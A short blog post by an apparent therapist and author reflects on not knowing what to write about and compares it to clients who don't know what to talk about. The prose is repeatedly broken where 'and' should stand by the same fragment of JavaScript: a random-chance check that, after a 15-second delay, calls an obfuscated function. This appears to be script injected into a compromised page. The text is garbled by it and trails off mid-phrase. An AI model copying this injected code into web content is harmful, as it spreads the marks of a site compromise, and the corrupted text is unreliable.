I don’t know what to write about …

I love the idea that I don’t know what to write about. People will often come into my consulting room andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and say, 'I don't know what to talk about', or 'I don't know why I am here, it feels so indulgent', well so does writing a blog, but in fact neither are indulgent. If I am any use as a therapist it wont be long before the person sitting in front of me is talking andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and hopefully not even what they thought they would be talking about. After all the discipline andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and heart aches of writing andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and finishing a book that took four years Doctors Dissected